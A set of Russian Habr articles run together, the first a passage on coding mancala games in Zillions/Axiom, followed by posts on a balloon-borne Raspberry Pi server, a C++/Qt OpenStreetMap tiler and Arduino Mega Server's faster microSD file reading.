В ZRF-описании, мы должны разметить доску аналогичным образом, чтобы ZoG понимала, с чем имеет дело:
```
(board
(image "Images/Ohojitxi/6x2.bmp")
(grid
(start-rectangle 6 4 73 89)
(dimensions
("a/b" (67 0)) ; files
("6/5/4/3/2/1" (0 85)) ; ranks
)
)
)
```
Вот с этого места и начинается веселье. Мы пишем [много кода](https://github.com/GlukKazan/ZoG/blob/master/Axiom/Ohojitxi/Pieces.4th), кодируя посевы и захваты, постепенно забывая об унылом и отсталом ZRF. В какой то момент, нам становится позарез необходимо закодировать новое правило — «выполняя захват, игрок не может каждый раз выбирать одну и ту же лунку противника». Очевидно, пометки лунок необходимо где то хранить! А где ещё, если не на доске?
```
4 CONSTANT COLS
```
Смело расширяем доску вдвое! Нет, это даже работает. Некоторое время. Сразу вслед за этим, мы получаем от программы загадочное послание:
Ясно, что кто-то кого-то не понимает, но чтобы вспомнить о ZRF требуется ещё полчаса нервных поисков! И уже после того как игра сделана, отлажена и даже отправлена для публикации, всплывает тот факт, что вариантов досок мы делали [два](https://github.com/GlukKazan/ZoG/commit/d148258a0477455aa9824aaee50b786d1b2460f8).
Играть в Охочичи приятно при наличии большого количества свободного времени. Партия равных соперников может продолжаться очень долго. Для того, чтобы собрать последние камни, приходится потратить немало ходов. Как правило, противник успевает раньше и всё начинается с начала. Серийный захват помогает разорвать порочный круг, но его ещё надо сложить. Когда [программа](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=2442) играет «сама с собой», средняя продолжительность партии составляет порядка 500 ходов (впрочем, меня она обыгрывает так быстро, что я не успеваю сообразить, что произошло).
#### **Afrika**
Да-да, именно через эту букву! Слово-то немецкое. Я имею в виду, что придумал [игру](http://mancala.wikia.com/wiki/Afrika_(game)) немец — Ralf Gering. И произошло это в 2004 году. Это скандальная манкала! Во-первых, ей меньше 120 лет. Помимо этого, она собрала 5 «рейтингов ненависти» на [BoardGameGeek](http://www.boardgamegeek.com/). Впоследствии выяснилось, что все они от «виртуалов» одного и того же человека (подозреваю, что это было что-то личное) и из пяти был оставлен один, самый первый.
Если говорить серьёзно, то эта игра слишком не похожа на все другие манкалы. По «геймплею» она гораздо ближе к [Шашкам](https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D1%88%D0%BA%D0%B8). Всё дело в механизме захвата. В «Африке» он обязательный! В других манкалах тоже есть «форсированные» ходы (**правило «голода»** — в большинстве африканских манкал), но там они не имеют столь первостепенного значения! Если есть возможность захвата — игрок должен брать! И это то, что делает игру уникальной.
Правила просты. **Посев однократный**, всегда из своего ряда, против часовой стрелки, без захода в «амбары». Захват осуществляется из не пустой лунки противника, расположенной напротив пустой лунки игрока и может выполняться лишь из лунок, содержащих минимальное количество камней (если в одной лунке два камня, а в другой три — брать можно только из той, где два). Захват считается отдельным ходом и имеет приоритет по отношению к «посеву». Такие правила закономерно приводят к тактике «отдай меньше, чтобы забрать больше»:
Диаграмма великолепно иллюстрирует концепцию. Мы отдаём один камень, чтобы взамен забрать четыре (сразу скажу, что столь очевидный ход впоследствии заводит в тупик, у задачки есть лучшее решение). Самое замечательное в этом то, что противник не может игнорировать нашу жертву. Он обязан взять камень и, теряя ход, не может защитить свои. Это в гораздо большей степени «сэнтэ» чем смысл, вкладываемый в это [понятие](http://go-igo.ru/dictionary-go/sente.html) в Го. Как и в [Шашках](http://habrahabr.ru/post/258437/), отказ от форсированных ходов сделает игру куда менее интересной.
Как правило, в играх с «обязательным взятием», «обратная игра» представляет определённый интерес (возможно для многих будет сюрпризом, но "[Поддавки](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%80%D0%B0%D1%82%D0%BD%D1%8B%D0%B5_%D1%88%D0%B0%D1%88%D0%BA%D0%B8)", в тактическом плане, гораздо более сложная игра, чем обычные шашки). В ноябре 2010 года, Benedikt Rosenau предложил «обратный» вариант игры, на основе правил «Африки». Разумеется, я [реализовал](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=2450) оба варианта игры.
**Чьи камни?**В Охочичи посев вёлся на своей территории, а в «Чука Руме» игрок вообще был один. «Африка» — первая игра, в которой мы заходим на территорию противника. Немедленно возникает проблема. Дело в том, что в ZoG игрок может перемещать только свои фигуры! Отчасти, это ограничение связано с вопросами производительности и оно может даже казаться разумным, до тех пор, пока мы не сталкиваемся с чем-то вроде [этого](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=2247). В нашем случае, важно, что мы должны следить не только за типом фигур (количество камней и пометка), но и за их принадлежностью.
**К счастью, это просто**
```
: get-player ( -- )
here COLS < IF ( Если текущая позиция в верхней половине доски )
Second ( Фигура принадлежит игроку Second )
ELSE ( иначе ... )
First ( Это First )
ENDIF
;
```
Это почти всё, о чем приходится заботится, за исключением одного нюанса. Если после хода игрока, на его территории остаются группы, расположенные напротив пустых лунок, мы должны найти наименьшую из них и пометить её (а также, возможно, ещё несколько групп, содержащих равное количество камней) для того, чтобы одну из них смог взять противник (это будет его обязательный ход). Разумеется, взять он их сможет только при условии того, что помеченные фигуры будут принадлежать ему, следовательно эту ситуацию придётся обработать особым образом:
**Помечаем фигуры**
```
: use-trace ( -- )
0 BEGIN
next verify
get-player ( Определяем, на чьей мы стороне )
OVER trace[] @ ( и количество камней )
DUP min-target @ = IF ( Если оно совпадает с целью захвата )
OVER current-player = IF ( и расположено на нашей стороне )
check-target ( Помечаем группу камней, подлежащую захвату )
ENDIF
ENDIF
DUP 0< IF ( Если группа камней помечена )
SWAP DROP next-player SWAP ( Ей должен владеть противник )
ENDIF
MARK + create-player-piece-type ( Вычисляем тип фигуры и создаём её с правильным владельцем )
1+ DUP trace-count @ >= ( Перебираем элементы массива, пока они не кончатся )
UNTIL DROP
...
;
```
Поскольку, с нашей точки зрения, ход циклического посева представляет собой последовательность однократных посевов, аналогичным образом придётся вычислять владельца «помеченной» фигуры, оказавшейся на территории противника. В «Чука Рума» циклический посев тоже был, но эта проблема была не актуальна, поскольку игрок был всего один.
[Статистически](http://mancala.wikia.com/wiki/Afrika_(game)), первый игрок имеет небольшое преимущество, но я не стал вводить **коми** (2.5 очка) для второго игрока. Первым ходит человек и небольшое преимущество в борьбе с машиной не будет лишним.
#### **Gabata**
Закончив «разминку», я приступил к двум наиболее интересным для себя играм. Обе играются на уникальной трёхрядной доске и распространены на восточном побережье Сомалийского полуострова. Собственно, доска и даёт название первой из них. [Габата](http://www.cyningstan.com/game/147/gabata) — очень архаичная игровая система. Некоторые исследователи считают её родоначальницей всех манкал. Форма доски диктует непривычную схему посева. Это проще показать, чем объяснить:
Стрелки показывают направление посева. **Посев циклический** и начинать ход можно только из своих лунок (нижний ряд и три правых лунки во втором ряду). В принципе, в большинство игр, традиционно играемых на доске «Габаты», можно было бы играть на обычной, двурядной доске, но в самой «Габате» трёхрядность используется при выполнении захвата. Если последний камень падает в пустую лунку, игрок захватывает все камни противника, расположенные в том же **столбце** доски.
**Тонкости захвата**Семантика перемещения фигур в ZoG причудлива. Изначально имеется две возможности: перемещение фигуры с одного поля доски на другое (**move**) и создание фигуры заданного типа на выбранном поле (**drop**). Самое главное, о чём приходится помнить, это то, что на всём протяжении расчёта хода, позиция на доске остаётся в том же состоянии, в котором она была в момент начала расчёта. Это кажется логичным, но на практике портит немало крови.
На диаграмме представлен кейс, с которым я столкнулся довольно поздно, когда игра, в основном, была уже готова. Второй игрок (тот что сверху) должен взять один камень (из своего же посева) и продолжить захват. Так это должно было выглядеть. А вот как это выглядело:
В какой то момент, я заметил, что у игрока оказалось **две** выделенных группы камней! Попробуем разобраться, что произошло. Выполняя посев, мы «переместили» группу из 4 камней на одну лунку вправо (там же она и осталась). Если бы не выполнялось взятий, мы должны были бы заменить содержимое этой лунки одним камнем, но так как мы взяли этот камень, то обнулили его в **trace**:
```
: use-trace ( -- )
0 BEGIN
next verify
DUP trace[] @
DUP 0 <> IF
...
ELSE ( Если посеянные камни необходимо удалить )
DROP ( Следим за стеком !!! )
empty? NOT IF capture ENDIF ( Удаляем камни из лунки, если она не пуста )
ENDIF
1+ DUP trace-count @ >=
UNTIL DROP
;
```
Мы удаляем взятые камни из **не пустых** лунок, но в нашем случае, лунка была пуста! Мы не пытались заполнить её камнем из посева (поскольку он был взят), но и не удалили камни из неё (поскольку при попытке удаления из пустой лунки могут возникнуть проблемы). Чего мы не учли, так это того, что лунка, пустая в начале хода, вполне может перестать быть таковой по его завершении. Лунка была заполнена «основным» действием по переносу камней в соседнюю лунку. Мораль этой истории в том, что не только начальное поле хода следует обрабатывать [особым образом](https://github.com/GlukKazan/ZoG/commit/4fb73e18ee02192f6b33058bc2d3342d57265293).
Легко видеть, что захваты, выполняемые в различных столбцах, не равноценны. Возможны захваты сразу из двух лунок, также как и ситуации, при которых захватить не удастся вообще ничего (например, при завершении хода в одной из трёх начальных лунок противника). Игрок получает право на выполнение ещё одного хода, камнем осуществившим захват (неограниченное количество раз) и это правило вносит в игру ещё большее тактическое разнообразие. Габату часто называют «пиратской манкалой» и с тем, что играют в неё на территории [Сомали](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D0%BC%D0%B0%D0%BB%D0%B8) это связано лишь отчасти:
Когда один из игроков не может выполнить очередной ход, его оппонент захватывает все оставшиеся на доске камни. Игра продолжается несколько раундов (это характерно для всех игр на доске «Габаты»). Начиная очередной раунд, игроки раскладывают камни, захваченные в предыдущем раунде, по своим лункам, по три, начиная с левой, в нижнем ряду. Если в последней лунке оказывается меньше трёх камней, более сильный игрок, дополняет её до трёх, из своих камней. Оставшиеся камни более сильного игрока сразу уходят в его «амбар». Выигрывает тот, кто соберёт **все** камни.
#### **Selus**
Эта [игра](http://mancala.wikia.com/wiki/Selus) — моя любимая! Играется на той же доске, что и Габата (и также, с использованием **циклического посева**), но с совершенно иным механизмом захвата. В ней, игроки строят ловушки («wegue»). Ходить из **wegue** нельзя, но любой камень, попавший в них, становится собственностью создавшего их игрока. Построить ловушку просто — если последний камень посева попадает в лунку с тремя камнями (дополняя её до четырёх), лунка становится **wegue**. Количество **wegue** не ограничено!
Нельзя назвать такой механизм захвата уникальным. Есть несколько родственных Селусу игр с аналогичным взятием камней. В казахской манкале "[Тогыз Кумалак](http://www.iggamecenter.com/info/ru/toguzkumalak.html)" игрок может построить «туздык» (но только один за игру), собрав три камня в лунке. Уникальность Селуса в том, что камни, попавшие в лунку, можно захватывать (в том числе, «отбирая» их у противника). Если последний камень посева падает в **wegue**, он захватывается в «амбар» игрока, забирая с собой ещё один камень из ловушки.
Если захват выполняется из своей **wegue**, игрок получает ещё один ход, но есть одно исключение. Крайняя левая лунка, в нижнем ряду, называется «ayemi» («глаз»). Игрок не может захватывать камни из **ayemi** на своей стороне, а захватив камень из **ayemi** на стороне противника, **всегда** получает право на дополнительный ход (независимо от того, кем была построена **wegue**). Очевидно, что строить **wegue** в своём **ayemi** крайне нежелательно!
Из первоначального расклада, **wegue** могли бы быть созданы самыми первыми ходами. Чтобы этого не происходило, **wegue** запрещается создавать первым ходом каждому из игроков. Попав в лунку с тремя камнями (на первом ходу), игрок просто продолжает **циклический посев** дальше. В этой игре нет одновременного **нулевого посева**, как в Габате, но итоговый результат ничуть не хуже. Камни в лунках «перемешиваются» просто замечательно.
Также как Габата, Селус играется в несколько раундов, до полного отъёма камней, но здесь игрок может пропускать ход (только в том случае, если ходить ему нечем). Его противник, просто продолжает ходить по обычным правилам. Лишь когда оба игрока не могут выполнить ход, игра заканчивается. Игроки подсчитывают камни в своих «ловушках» и «амбарах» и тот, кто набрал больше, считается победителем.
**Сюрприз от Axiom**Пропуск хода — особенно болезненная тема! Фактически, это такой специальный ход, который не изменяет на доске **ничего** и не связан с какой либо фигурой. В Axiom возможность пропуска хода описывается явно:
```
{move-priorities
{move-priority} normal-type
{move-priority} pass-type
move-priorities}
{moves p-moves
{move} move-p {move-type} normal-type
{move} Pass {move-type} pass-type
moves}
{pieces
...
{piece} m
{piece} p1 {moves} p-moves 1 {value}
...
pieces}
```
Если ZRF сконфигурирован правильно (опция "**pass turn**" = **forced**), ход пропускается автоматически (при отсутствии возможности какого либо другого хода). Но не всё так просто. Допустим, у игрока есть **wegue** и, кроме них, нет никаких других фигур на его стороне. Это может показаться неожиданным, но вместо **Pass**, мы получаем следующее сообщение:
Дело в том, что **Pass** ход был связан с **p-moves**, а поскольку фигур с этим обработчиком у игрока нет, Axiom даже не пытается их «двигать»! Чтобы всё работало правильно, обработчик ходов необходимо [назначить](https://github.com/GlukKazan/ZoG/commit/685b3eead23076af3fab679453472effcf8a38a5) и ловушкам тоже (не важно, что он будет состоять только из **Pass**-хода). Другим способом могло бы стать создание фиктивного типа фигур с обработчиком **drop** ходов, аналогично тому, как сама Axiom обманывает ZoG:
```
; The following dummy piece is required in order to placate the Zillions engine.
; It appears as though Zillions must find at least one "moves" keyword somewhere
; in the zrf in order for it to be happy and thus allow "moves" to work correctly.
(piece
(name Dummy)
(dummy) (moves (from))
)
```
Этот комментарий можно отливать из бронзы.
С ловушками в Селус вышло небольшое разночтение. [Дмитрий Скирюк](http://skyruk.livejournal.com/470951.html) утверждает, что при захвате последнего камня, ловушка ликвидируется, но [задачка](http://vignette3.wikia.nocookie.net/mancala/images/4/40/Selus-prob.jpg/revision/latest?cb=20090904172936), встречающаяся в ряде источников, намекает, что это не так. Я [сделал](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=2449) оба варианта (и задачку). Габату можно найти в том же архиве.
#### **К чему я это всё?**
Манкалы — это весело! А их разработка при помощи Axiom — так и вовсе превращает жизнь в одно сплошное приключение. | https://habr.com/ru/post/272119/ | null | ru | null |
# Сервер в облаках: готовимся к запуску
В [посте про регату](https://habr.com/company/ruvds/blog/418141/) мы обмолвились, что в августе всех хабражителей ждет конкурс с призами. Пришло время сорвать ~~покровы~~ завесу секретности. Как-то нам пришла мысль, что фразу «сервер в облаках» можно понять буквально. А давайте действительно запустим в небо работающий сервер, который можно будет попинговать! Сначала идея выглядела безумной, но покрутив её так и эдак, обсудив на все лады, мы всё же придумали способ отправить сервер навстречу птицам. Уже в конце августа состоится эпохальный запуск, а пока что мы отрабатываем аппаратную часть проекта. Подробности под катом.
[](https://habr.com/company/ruvds/blog/420451/)
1. **Сервер будет на базе Raspberry Pi 3**
Было бы интересно поднять в воздух одноюнитовый сервер, однако его вес + вес UPS… Для всего этого нужна была бы немалая подъемная сила. Да и зачем, если на базе компактной Raspberry Pi 3 можно развернуть вполне приличный сервер, вычислительной мощностью в несколько сот раз бОльшей, чем та машина, на которой развлекался в 1991-м году Тим Бернерс-Ли.
2. **Сервер запустим на воздушном шаре**
У нас были идеи поднять сервер на гелиевом зонде, но тогда сервер пинговался бы недолго, прежде чем шар лопнет на большой высоте в разреженной атмосфере и вся конструкция упадёт на землю. Хотелось расширить «окно» эфирного времени до полутора часов. И тогда решили использовать воздушный шар. Длительность полета — два часа. Кроме того, полет хоть и не совсем управляемый, однако в корзине может быть наш инженер, который сможет в случае неисправности оперативно, прямо на месте «включить и выключить».
3. **В качестве транспортной сети воспользуемся сотовой связью**
Современные WiFi-антенны могут «пробить» довольно большие расстояния, однако для этого пришлось бы строить комплекс связи, мало чем уступающий по своим параметрам военной радиолокационной станции. И ради 1,5-2 часов связи строить такую систему не имеет смысла, ведь на высоте полёта воздушного шара сотовая связь должна работать устойчиво.
После формулирования этих «постулатов», проект перестал казаться неосуществимым, и вскоре мы принялись работать сразу по всем трем направлениям.
В первую очередь обратились за помощью к ребятам из [nearspace.ru](http://nearspace.ru/), съевшим собаку на запусках в воздух всяких железяк (с последующим поиском и спасением).
Затем достали Raspberry Pi 3, валяющуюся в тумбочке нашего админа, и начали ее настраивать.
Подключили камеру:
И протестировали её на нашем «Семёне»:
Семен очень удобен в качестве модели и помощника — не просит еды, не отвлекается на телефон, всегда в отличном настроении и с широкой улыбкой во весь шлем. Конечно, такой скафандр нам для полёта не понадобится, но атмосферу в офисе создает правильную.
Схема проекта вырисовывается следующая:
Powerbank используется для наземного тестирования, для запуска нужно что-то понадёжнее.
Самая, пожалуй, интересная железка — это плата для получения данных со всех датчиков:
Ребята из [nearspace.ru](http://nearspace.ru/) долго мучались с разными аналогами, а потом сами сделали бортовой компьютер, потому что надёжность имеет решающее значение, от данных телеметрии зависит судьба всего проекта. Бортовой компьютер отвечает за прием данных со всех подключенных датчиков и передает их на Raspberry Pi.
Запустили, настроили, и через каких-то пару недель программирования и приседаний с бубнами удалось получить данные телеметрии и фото Семена с широкоугольной камеры:
Данные телеметрии передаются одной строкой в таком виде:
Затем этот код преобразует строку в массив и выводит данные на сайт:
```
$str = 'N:647;T:10m55s;MP.Stage:0;MP.Alt:49;MP.VSpeed:0.0;MP.AvgVSpeed:0.0;Baro.Press:1007.06;Baro.Alt:50;Baro.Temp:35.93;GPS.Coord:N56d43m23s,E37d55m68s;GPS.Home:N56d43m23s,E37d55m68s;Dst:5;GPS.HSpeed:0;GPS.Course:357;GPS.Time:11h17m40s;GPS.Date:30.07.2018;DS.Temp:[fc]=33.56;Volt:5.19,0.00,0.00,0.00,0.00,0.00,0.00,0.00';
parse_str(strtr($str, [
':' => '=',
';' => '&'
]), $result);
print_r($result);
```
Описание некоторых данных:
* N:2432; — номер пакета данных, всегда увеличивается
* T:40m39s; — время с момента включение полетного контроллера
* MP.Stage:0; — стадия полета (0 — на земле или ниже 1км, 1 — подъем, 2 — зависание на высоте, 3 — спуск)
* MP.Alt:54; — барометрическая высота в метрах от уровня моря — ее следует выводить
* MP.VSpeed:0.0; — вертикальная скорость в метрах в секунду с медианным фильтром
* MP.AvgVSpeed:0.0; — вертикальная скорость в метрах в секунду с усредняющим фильтром
* Baro.Press:1006.49; — давление по барометру в миллибарах
* Baro.Alt:54; — высота по барометру
* Baro.Temp:36.99; — температура самого барометра
* GPS.Coord:N56d43m23s,E37d55m68s; — текущие координаты
* GPS.Home:N56d43m23s,E37d55m68s; — координаты точки старта
* GPS.Alt:165; — высота по GPS в метрах
* GPS.Dst:10; — удаленность от точки старта в метрах
* DS.Temp:[fc]=34.56; — температурный датчик на плате
Как выглядят выводимые данные:
```
Array
(
[N] => 647
[Т] => 10m55з
[MP_Stage] => 0
[MP_Alt] => 49
[MP_VSpeed) => 0.0
[MP_AvgVSpeed] => 0.0
[Baro Рrеss] => 1007.06
[Baro_Alt] => 50
[Baro_Temp] => 35.93
[GPS_Coord] => N56d43m23s,E37d55m68s
[GPS_Home) => N56d43m23s,E37d55m68s
[Dst] => 5
[GPS_HSpeed] => 0
[GPS_Course] => 357
[GPS_Time] => 11h17m40s
[GPS_Date] => 30.07.2018
[DS_Temp] => [fс] ЗЗ.56
[Volt] => 5.19, 0.00,0.00,0.00,0.00,0.00,0.00,0.00
)
```
А что делать, если сотовая связь «упадет»? На этот случай у нас есть вторая карточка, в модем вставляются две симки (в один слот по очереди):
Он умеет автоматом переключаться на запасной канал, если основной вдруг перестает откликаться.
А что будет, если обе сотовых сети станут недоступны?
*(Мальчик из [выпуска «Ералаш» №45](https://www.youtube.com/watch?time_continue=1&v=gw8pks_tKKw) не зря читает «Теорию вероятностей»)*
На этот случай у нас будет независимый GPS-трекер, посылающий сигнал о своем местоположении. Обратите внимание, что делает он это не через сотовую сеть, доступность которой на большом расстоянии никем на гарантирована, а через спутник.
Да, GPS-трекер несколько больше чем тот, который вживляли под кожу Джеймсу Бонду. Поскольку наш конкурс зависит от координат летящего сервера, эта часть получаемых с борта данных будет самой важной. Но об этом мы расскажем уже в следующем посте. Совсем скоро, следите за нашим блогом!
*Мы верим в успех всего предприятия настолько, что даже объявили конкурс для тех, кто вдруг захочет угадать место приземления шара. Подробности в нашем [новом посте](https://habr.com/article/420911/).* | https://habr.com/ru/post/420451/ | null | ru | null |
# Как вывести рендеринг карт на сверхзвук и не…
Введение
--------
В данной статье я расскажу как я делал тайлер на основе openstreetmaps на С++/Qt. Задача была написать картографический модуль приложению для поисково-спасательных отрядов, которые работают в условиях недоступного интернет соединения и возможно целые сутки, поэтому требования к картографическому модулю стояли следующие:
* работа в оффлайн режиме
* насколько это возможно быстрый рендеринг определённой области на карте
* высокая энергоэффективность загрузки и отображения тайлов на карте
OpenStreetMaps был выбран банально из-за open source, да и модулей к нему в свободном доступе было много. Основу тайлера я взял у libosmscout, но для меня он имел множество проблем, о которых расскажу далее.
Переделывание и ускорение базового тайлера
------------------------------------------
Изначально [тайлер](https://github.com/Framstag/libosmscout/blob/master/Demos/src/Tiler.cpp) имел внешний вид стандартной консольной утилиты, через args задавались параметры рендеринга и он начинал жужать. Для удобства использования, я решил переделать его под ООП и прикрутить минимальный графический интерфейс, в качестве решения проблем с быстродействием сделал его многопоточным. В итоге получилось что то такое:
Структура обновлённого тайлера После ввода всех данных для отрисовки, стартует интерфейс, который проверяет введены ли все параметры и если да, начинает построение очереди на рендеринг. Класс построения очереди(QueueBuilder) стартует в отдельном потоке и служит для того, чтобы иметь представление о том, сколько тайлов всего, сколько осталось, и чтобы на этапе рендеринга не собиралась инфа о тайле а сразу переходило к делу по готовым данным. Информацию о тайлах в очереди я решил размещать во временные файлы, для того, чтобы они не лежали в оперативной памяти, потому как её не хватит даже на 18 зумов Беларуси, а когда очередь лежит в файлах по 30 миллионов тайлов, при загрузке вектор с ними занимает 2гб оперативы, что было в переделах разумного для моего пк.
Код формирования очереди
```
for (quint32 y=yTileStart; y<=yTileEnd; y++) {
for (quint32 x=xTileStart; x<=xTileEnd; x++) {
tileData = new TileDataClass(x,y,level.Get(),0,0,0,0);
countLatLon(x,y,level.Get());
if(counterOfTiles>=30000000)
{
filesVector.at(i)->flush();
i++;
counterOfTiles = 0;
QTemporaryFile * file = new QTemporaryFile(QDir::tempPath() + "/TileQueue/" + fileName);
filesVector.push_back(file);
if(filesVector.at(i)->open())
{
qDebug()<<"Opened "<fileName();
}
else
{
qDebug()<<"Not opened";
}
dataStream.setDevice(filesVector.at(i));
}
counterOfTiles++;
dataStream << TileDataClass(tileData->x,tileData->y,tileData->zoom,stepLongitude, stepLattitude, 0,0);
delete tileData;
}
}
```
После того как очередь создана, QueueBuilder не завершает свою работу а остаётся до конца, для выдачи каждому потоку рендера следующего тайла. И здесь стартуют потоки рендера, как определить количество потоков на текущем пк я так и не узнал (возможно кто то в комментах подскажет), поэтому создаю 4 потока, рендерер ничего интересного не делает, просто создаёт директорию в которую будут сохраняться тайлы и начинает свои тёмные дела (полное описание рендеринга займёт ещё одну статью), после окончания отрисовки тайла, запрашивает следующий и так пока солнце не зашло. По окончанию отрисовки всех тайлов уходит сигнал в интерфейс и интерфейс стартует класс пересохранения тайлов.
Как ускорить загрузку карт и другие изобретения велосипедов
-----------------------------------------------------------
По идее всё сделано, тайлы отрендерены, лежат в папке, бери модуль карт и запускай. Но всегда что то пойдёт не так, после запуска карты и скролла туда обратно можно заметить, что чем больше тайлов отрендерено, тем дольше грузится зум, и при числе картинок 256х256 в полтора миллиарда, поиск в папке нужной занимает неприлично большое время и ресурсы.
Решение этой проблемы пришло не сразу, но пришло, я создал бинарный файл в который поместил константы, константы представляют собой структуру для каждого зума в которой содержится:
* общее количество тайлов
* стартовые номера тайлов по x и по y на сетке меркатора
* количество тайлов по x и по y, для чего это нужно покажу позже.
Структура констант
```
struct ConstantStruct
{
uint32_t countOfTiles;
uint32_t xTileStart;
uint32_t yTileStart;
uint32_t xTileCount;
uint32_t yTileCount;
};
```
Класс информации о тайлах с операторами сериализации
```
class TileDataClass
{
public:
TileDataClass() : x( 0 ), y( 0 ), zoom(0), size(0), startPoint(0) { }
uint32_t x;
uint32_t y;
uint8_t zoom;
double stepLattitude;
double stepLongitude;
uint32_t size;
uint32_t startPoint;
friend QDataStream& operator>>(QDataStream &stream, TileDataClass &data);
friend QDataStream& operator<<(QDataStream &stream, TileDataClass data);
};
```
Код сохранения в бинарный файл
```
void SaveToFileClass::run()
{
QFile file("file.bin");
if(file.open(QIODevice::WriteOnly))
{
QDataStream stream(&file);
for(int i =0; iopen();
QDataStream dataStream(files.at(i));
while(!dataStream.atEnd())
{
TileDataClass \*tiles = new TileDataClass();
dataStream>>\*tiles;
countInputTiles++;
stream<<\*tiles;
delete tiles;
}
files.at(i)->close();
}
file.close();
file.open(QIODevice::ReadWrite);
file.seek(sizeof(constants.at(0))\*constants.size());
QDataStream dataStream(&file);
int countOutputTiles = 0;
while(countOutputTiles!=countInputTiles)//вывод и редактирование структур с учётом информации о размещении самой картинки
{
TileDataClass \*tiles = new TileDataClass();
dataStream>>\*tiles;
QString a = "offline\_tiles/osm\_custom\_100-l-1-"+QString::number(tiles->zoom)+
+"-"+QString::number(tiles->x)+"-"+QString::number(tiles->y)+".png";
QFile tilePic(a);
tilePic.open(QIODevice::ReadOnly);
tiles->size = tilePic.size();
tiles->startPoint = file.size();
file.seek(sizeof(constants.at(0))\*constants.size()+sizeof(TileDataClass)\*countOutputTiles);
dataStream<<\*tiles;
file.seek(tiles->startPoint);
file.write(tilePic.readAll());
countOutputTiles++;
file.seek(sizeof(constants.at(0))\*constants.size()+sizeof(TileDataClass)\*countOutputTiles);
}
if(stream.status() != QDataStream::Ok)
{
qDebug() << "Ошибка записи";
}//отправить сигнал который оповестит о завершении записи в файл, после этого запросить картинку из интерфейса и пробросить её в виджет для вывода.
QElapsedTimer timer;
timer.start();
getTile(147,82,8);
qDebug() << "The slow operation took " << timer.nsecsElapsed() << " nanoseconds";
exit(0);
}
else
{
qDebug()<<"Файл не открыт";
}
this->exec();
}
```
После констант я положил в файл структуры с информацией о тайлах, на каждый тайл своя структура, она содержит в себе:
* x y тайла
* уровень приближения
* количество долготы широты в пикселе(для отрисовки маршрутов, об этом в следующей статье, если эту прочтёт более 4х человек)
* размер картинки тайла в байтах
* стартовая позиция картинки в этом же бинарном файле
Ну и последнее это загрузка картинки тайла из папки в файл, картинка ложится в конец файла и указтель возвращается к структуре с инфой об этом тайле и записывается его стартовая позиция в файле и размер для считывания в будущем.
Структура бинарного файла### Получение нужного тайла в модуле картографии
Для понимания дальнейших действий покажу как тайлы располагаются на сетке меркатора.
Размещение тайлов на сетке меркатораПокажу нахождение тайла на примере, без голых формул.
Тоесть в нашем случае 1 - 0, таким образом по X у нас лежит 1 тайл перед требуемым, так же рассчитываем по y получается 2. StartPosX взято из структуры с константами.
Где
* XtileCount - количество тайлов X в одном столбце Y
* CountY - предыдущие вычисления
Получаем 4\*2+1 = 9, как видно на картинке, всё верно.
Далее находим количество тайлов на предыдущем зуме для того, чтобы через seek перескочить на нужный. Просто берём константы предыдущих зумов и забираем количество тайлов прибавляя к TileCount. В итоге получается 14 тайлов лежит перед необходимым.
И одно из последних действий это перенести указатель на структуру нужного тайла и считать её.
```
if(file.open(QIODevice::ReadOnly))
{
file.seek(sizeof(constants)*20 + sizeof(QTileDataClass)*(countTls));
QDataStream dataStream(&file);
dataStream>>*tile;
}
```
После этого из структуры берём начальную позицию картинки и размер её и забираем искомый тайл.
```
QPixmap pixmap;
QByteArray arr;
QDataStream stream(&file);
file.seek(tile->startPoint);
arr = file.read(tile->size);
QPixmap img;
img.loadFromData(arr);
QImage image(img.toImage());
```
Что же в итоге? В итоге реализовав поддержку файла в модуле картографии с помощью пары формул, получаем поиск нужного тайла за несколько seek по файлу, ну и на загрузку любого зума теперь уходит не более секунды.
### Благодарности
Хотелось бы поблагодарить Сахарука Андрея за кураторство в проекте и друзей из Чехии([Framstag](https://github.com/Framstag) и [Karry](https://github.com/Karry)) за отзывчивость и помощь с API :) | https://habr.com/ru/post/567936/ | null | ru | null |
# Чудо свершилось. Вышла «отвязанная» версия Arduino Mega Server
Революция о которой так долго говорили большевики свершилась. Теперь вы можете взять карточку памяти microSD, записать на неё файлы дистрибутива AMS и ваша Arduino превратиться в маленькое (или большое, это как посмотреть) чудо. Вам больше не нужны «костыли» с поддержкой стороннего сервера, [Arduino Mega Server](http://hi-lab.ru/arduino-mega-server) стал полностью автономным и вполне «юзабельным» в одиночном режиме работы. И это открывает для всех нас очень интересные перспективы.
Было много разговоров о том, что это невозможно и что ограничения микроконтроллера и сетевой платы не позволят этого сделать, было множество обсуждений и экспериментов, но теперь всё это позади, удалось решить все проблемы и преодолеть все препятствия и всё-таки заставить это работать так, как надо.
В [первой статье](http://geektimes.ru/post/259248/) о Arduino Mega Server я подробно описал проект, рассказал о технологии и обрисовал примерные перспективы развития и применения AMS, в этой статье я расскажу о том, как удалось добиться автономной работы сервера и какие возможности уже открыты перед нами.
Битва за автономку
------------------
Автономность работы это принципиальный момент. Если вы «привязаны» к стороннему серверу, то это кардинальным образом ограничивает возможности применения ваших проектов. Сами посудите, чтобы работал маленький контроллер, ему нужна поддержка в виде инсталляции и настройки большого сервера MajorDoMo. Поэтому все силы были брошены на решение этой проблемы, но… не тут то было. На пути вывода AMS в автономное плавание встало множество неожиданных и труднопреодолимых преград.
Первая преграда это низкая скорость чтения файлов с microSD карты. В первой статье я упомянул о том, что бутылочным горлышком в этой системе является скорость работы карты памяти, так вот, это оказалось не совсем так. Проблема не в microSD карте, а в алгоритме работы функции
```
File.read();
```
Она осуществляет побайтовое чтение из файла и тем самым очень тормозит весь процесс. Средняя скорость чтения в этом режиме составляет 25 килобайт в секунду. Выходом оказался переход на блочное чтение с размером буфера от 32 до 256 байт. Оптимальным по соотношению ресурсы / производительность был выбран размер 128 байт и это подняло скорость чтения с карты памяти в 10 (!) раз, примерно до 260 килобайт в секунду. И это, как вы сами понимаете, уже совсем другой коленкор. Скорость чтения в 25 килобайт в секунду просто ставила крест на всём проекте потому, что с такой скоростью в принципе невозможно передавать файлы за приемлемое время.
```
File.read(buff, MAX_BUFFER_SIZE);
```
